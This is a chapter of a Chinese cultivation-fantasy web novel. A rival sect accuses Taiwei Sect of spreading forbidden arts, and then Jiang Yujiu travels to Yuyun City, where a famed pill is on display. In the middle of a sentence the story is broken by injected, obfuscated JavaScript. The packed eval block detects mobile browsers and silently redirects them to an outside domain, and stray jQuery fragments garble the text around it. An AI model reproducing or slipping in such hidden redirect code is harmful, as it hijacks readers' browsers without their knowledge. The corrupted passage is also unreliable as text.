“这儿怎么这么热闹。”
姜寓九翩然落在太微宗弟子为她自动空出来的小道上，一歪头便瞧见莲花峰那几位表情都有些傻傻的，心中不由失笑。
她忍不住朝站在最前面的曲不故眨了眨眼，而后带着李令望悠悠走到道隐派等人面前。
“在下太微宗弟子，姜寓九。”姜寓九语调闲散，却不失礼节地对道隐派和落魄小山的人抬手作了一揖。
道隐派的人自是听过姜寓九的名号，不仅因为她在年轻一辈之中是翘楚，于各类试炼场地经常拔得头筹，更是因为几月前在齐明国发生的未知震荡与紫霄峰姜寓九挂钩，令她名声大噪，外界纷纷揣度其中有太微宗的授意。
一直站在后面最后默不作声青年此刻缓步上前，道隐派其余众人纷纷靠至一旁，对他侧身颔首。
青年广袖垂落颇具名士风骨，站定后弯腰含笑回了一礼，柔声对姜寓九道：“久闻姜道友雅名，在下道隐派，沈子初。”
“沈道友，幸会。不知道友此番前来，是为何事？”姜寓九看着沈子初，揣着明白装糊涂，真诚发问。
“是这样的，”沈子初手臂一抬，示意姜寓九看向站在最靠边的一位男子，“这位是落魄小山的王前辈，他称自己的徒儿被……歹人蛊惑，不幸堕鬼。此番前来便是替他的徒儿向太微宗讨一个说法。”
姜寓九挑眉点了点头，接着问沈子初：“不知那鬼，可有斩杀？”
“还未。”
李令望在一旁蓦地笑了起来，越笑越大声，沈子初眼眸一冷看向他，轻声道：“道友在笑什么？”
“我在笑，出了一个鬼你们不去杀，”李令望抹了抹眼角的泪花，吊儿郎当道，“却没脸没皮地聚在太微宗要说法。”
“放肆！”
站在沈子初身后的一位道隐派弟子猛地上前一步，手已按在剑柄上，对李令望厉喝了一声。
姜寓九抬起一只手，隔空对着那名弟子虚点一下，眼尾上挑笑道：“道友当真不知道是谁在放肆吗。”
说罢指尖放出悍然灵力压制住那位道隐派的弟子，那名弟子霎时钉在原地，脸色煞白，身子无法移动分毫。
这是化神期的威压，方才道隐派与落魄小山众人皆看到太微宗久久不散的雷劫，心中暗自猜测是何人突破境界。
其实姜寓九一现身，沈子初便知姜寓九的修为比传闻中更精进了一步。
沈子初眉梢又重新带着淡淡的笑，出尘气质不变，温声道：“是道隐派弟子失礼了，姜姑娘切勿动怒。”
李令望看着他那模样就觉牙酸，有些难以忍受和这种八面玲珑的人打交道。
姜寓九淡然收回灵力，重新看向沈子初，眼眸中带着泠泠寒光：“那么，诸位前来，是要什么说法。”
“我派怀疑，太微宗师渊真人，为他人提供洗筋伐髓之邪术，致人无辜堕鬼！现要太微宗交出师渊真人！”那名被姜寓九用威压钉住的弟子撑着一口气，狠狠开口说道。
姜寓九听闻此言，在心中冷笑，刚想开口，便察觉曲不故走到身侧，声音中淬着寒意，她怒道：“一派胡言！”
确实是一派胡言。
姜寓九思索片刻，勾了勾唇，撩起眼皮问沈子初：“证据呢？”
“姜道友说什么？”
“你们说我师叔提供洗筋伐髓的证据。”
沈子初依旧是不急不缓温雅模样：“那太微宗可否拿出不是师渊真人提供邪术的证据？”
姜寓九笑了起来，心下了然这沈子初的本事，暗道也算是遇到了诡辩的对手，也怪不得曲不故等人一脸憋屈的模样。
她慢条斯理抬起手，一下又一下鼓掌数声，声音拖得又轻又长：“厉害，真真是厉害。沈道友自有一套逻辑，在下佩服，但我太微宗可不是任人污蔑的。”
沈子初神色依旧如故，良久后轻叹一声：“姜道友，我们并非是来挑衅。”
姜寓九见沈子初端的是一副不染尘世烟火的派头，知晓和他浪费时间便是浪费生命，便幽幽道：“是与不是，你我皆心知肚明。”
说罢，她又斜睨了一眼落魄小山和道隐派那几人一眼，道：“诸位死缠烂打的本事应当是要比捉鬼的本事要好上许多，不然也不会出现在这儿，几次三番为难我师弟师妹几人。”
“我们太微宗没空和你们推诿扯皮，那摄青鬼，太微宗替你们捉了！”
姜寓九紧盯着沈子初的眼眸，一字一顿道：“不必言谢。”
沈子初身后的众人皆被姜寓九说出的话气得脸青一阵白一阵，他们没想到姜寓九说话竟然如此直戳心窝，不留情面。
更是气太微宗竟真的不理会流言，不落入他们的陷阱。江盛灵尊与江岱真人稳坐高台，以宽容默许的态度允许姜寓九出来狠狠奚落道隐派，落了他们的脸面。
沈子初一双眼眸中带着晦暗的探究，眨也不眨地看着姜寓九濯濯如月的脸，似叹似赞道：“姜道友好气魄。”
姜寓九哼笑一声，斜乜了沈子初一眼，忽而一甩袖，衣袍翻飞带起一阵微风，毫不犹豫地转身离开，只留下一句：“不敢当。”
太微宗十二门的弟子眼见姜寓九和莲花峰几人皆远去，也纷纷转身离开，没有施舍给道隐派和落魄小山的人半分眼神。
“师兄，就让她们这么走了？”方才呵斥李令望的那名弟子上前询问沈子初。
沈子初原本含笑的眼眸浮起一丝几不可察的嫌恶，随后又敛去神情，转过身对身后众人温声道：“此番本就是为试探太微宗的态度，既然已达到目的，也该返程了。”
“是。”
沈子初离开前，回头看了一眼姜寓九离开的方向，嗓音轻缓地呢喃道：“那就羽云城见了，姜道友。”
这边李令望和曲不故几人跟在姜寓九身后，片刻后，李令望忍不住问道：“师姐，这便走了？”
姜寓九慢下脚步，对李令望和曲不故几人解释了一句：“他们会自行离开，那个沈子初是个心思深沉的。”
她回想起沈子初的行为举止，压下心中莫名的不适，思忖他们此番前来，恐怕也不是真的要太微宗立刻交出李师渊。
而是，做戏。
曲不故适时开口：“姜道友，多谢你今日出面解围。师尊昨夜传音于我，让我们不必理会，她会解决。”
“师叔不让你们去羽云城，对吗？”
“是的，师尊让我等安心在莲花峰修炼。”
姜寓九若有所思地点了点头，随后抬起眼，轻声对曲不故道：“我知晓了，你们不用再挂心这件事了。”
曲不故垂下眼帘：“姜道友，你也不用再挂心这件事，至于那摄青鬼……我想师尊自会处理妥当的。”
“好的，我知晓了。”姜寓九点点头，面上不显分毫。
她和李令望看着莲花峰几人离开。李令望双手抱胸于前，歪头问姜寓九：“师姐，那我们还去不去羽云城？”
“我须得去一趟。”
李令望点点头：“去杀摄青鬼？”
“不止。”
“那还为了什么？”
姜寓九转身朝着紫霄峰走去，笑盈盈道：“不告诉你。”
“……”李令望将手臂猛地放下，震惊万分，“我们师姐弟之间，终究是离心了！”
姜寓九不理他，径直前往蘅静院，准备和江岱真人商量下山事宜。李令望三步并作两步，仍然不死心地追在姜寓九身后问她究竟还有什么秘密没有告诉他。
他叽叽喳喳，又喳喳叽叽，最终姜寓九实在忍受不了，一记眼刀飞去，他才安静下来。
·
花了两日稍作准备，姜寓九打点好一切，寻了个好天气，准备出发前往羽云城。当然，身后还跟着李令望。
“小灵不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023365|174295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在，有点不习惯呢。”李令望看看天看看地，蓦地有些伤感道。
姜寓九瞥了他一眼，嘴角翘了翘：“解决完摄青鬼，我们去一趟东海如何？”
“好耶！”
姜寓九和李令望闲聊几句后，二人便不再耽搁，御剑向北飞行了千里，终是于傍晚时分安然落地羽云城外。
愈是靠近羽云城，姜寓九便愈是感觉到冷意扑面而来。
北境羽云城是一座极为特殊的城池，道隐派位于其以东三百里，长陵国位于其以南五百里，而它的西侧与西北侧，是一片混沌森林。
混沌森林与羽云城有着一层难以穿透的结界，羽云城里的人进不去，同样也使混沌森林中的东西无法出来。
正是这种复杂的地理位置，造成了羽云城就像是游离在版图之外的一方自在秘界。这里城门昼夜皆敞，从不关闭，从无限制，城内没有宵禁，更是未曾听闻过什么规矩。
有的只是交易之下心照不宣的暗语。
姜寓九曾在一次机缘巧合下来过羽云城，不过只停留了一天一夜便离开了。李令望是一次也没有来过。
一踏入城门，姜寓九便见城内人潮涌涌，皆朝着一个方向流去，更是有路边摆摊的小贩匆匆收拾起自己的摊位，而后朝着远处奔去。
姜寓九一把抓住一妇人，熟稔笑问：“这位娘子，请问出了什么事？”
这妇人虽是瘦削，却神采奕奕，上下打量了姜寓九一眼，知她身份不俗，指不定是潜在的客户，眼珠转了转便开口道：“瞧着二位是刚来羽云城罢，千叶阁今个儿出了件稀罕物！”
她还刻意顿了顿，觑了一眼姜寓九的反应，见姜寓九无甚惊讶反应，有些悻悻：“萃禄丹！”
“萃禄丹？”李令望在一旁奇道。
妇人一瞧李令望似是不知，腰杆子立刻硬了起来：“是啊！”
姜寓九见此情形眉眼一弯，并不计较，倒觉得有几分有趣，顺着妇人的意思问下去：“敢问这萃禄丹是何物？”
“嗐呀，瞧着似个仙人，这么孤陋寡闻呐！”
“姐姐说的是。”姜寓九作羞愧状。
“这丹啊，可返老还童，延年益寿！最重要的……”那妇人心满意足地解释起来，说到一半，左看右瞧，清了清嗓子，“壮阳！”
嚯，原本姜寓九瞧她的架势，以为音量会小些，还特意凑近了点，谁曾想这妇人竟是更为大声地说了出来！
李令望在一旁更是一惊。
“甭管是凡人，还是修士，或者是什么牛鬼蛇神，就算是神仙来了！这丹，也能壮得起来！”
嗯，这么听来，此丹真是稀罕物了，怪不得这么多人着急忙慌地去看。
“那您，为何急着去看？”李令望斟酌道。
“此丹千金难买，我去瞧上一瞧，沾沾千叶阁的光，凑凑热闹呗！”那妇人白了一眼李令望，神采飞扬地甩手走了。
姜寓九若有所思：“好了，我们也去瞧瞧。”
“啊？师姐？”李令望没弄明白，却还是云里雾里地跟上了姜寓九的步伐。
姜寓九随着人流来到城中央，就见一座九层高的阁楼矗立在那儿，华丽显眼至极，数百米之外皆围满了人，还未等她细细打量这座千叶阁，忽而，她猛地朝阁楼的最高层看去！
只见层层叠叠的纱幔被一阵穿堂风撩起，若碧霞飘散，似薄雾荡漾。纱幔之后，朦胧之中，有一人半倚阑干，抬起一只手去勾那悬在空中的琉璃盏，一下，一下，又一下……
那人的轮廓教姜寓九怎么瞧，也瞧不清，可她的心却不知为何，一下，一下，又一下，跳得格外的重。
倏尔，那人转过脸来，仿佛是早知她在那儿，直直地对上她的视线！
这下姜寓九瞧清了，那是一双月波盈盈中烧着暗光的眼眸。
她再熟悉不过，却又觉，陌生极了。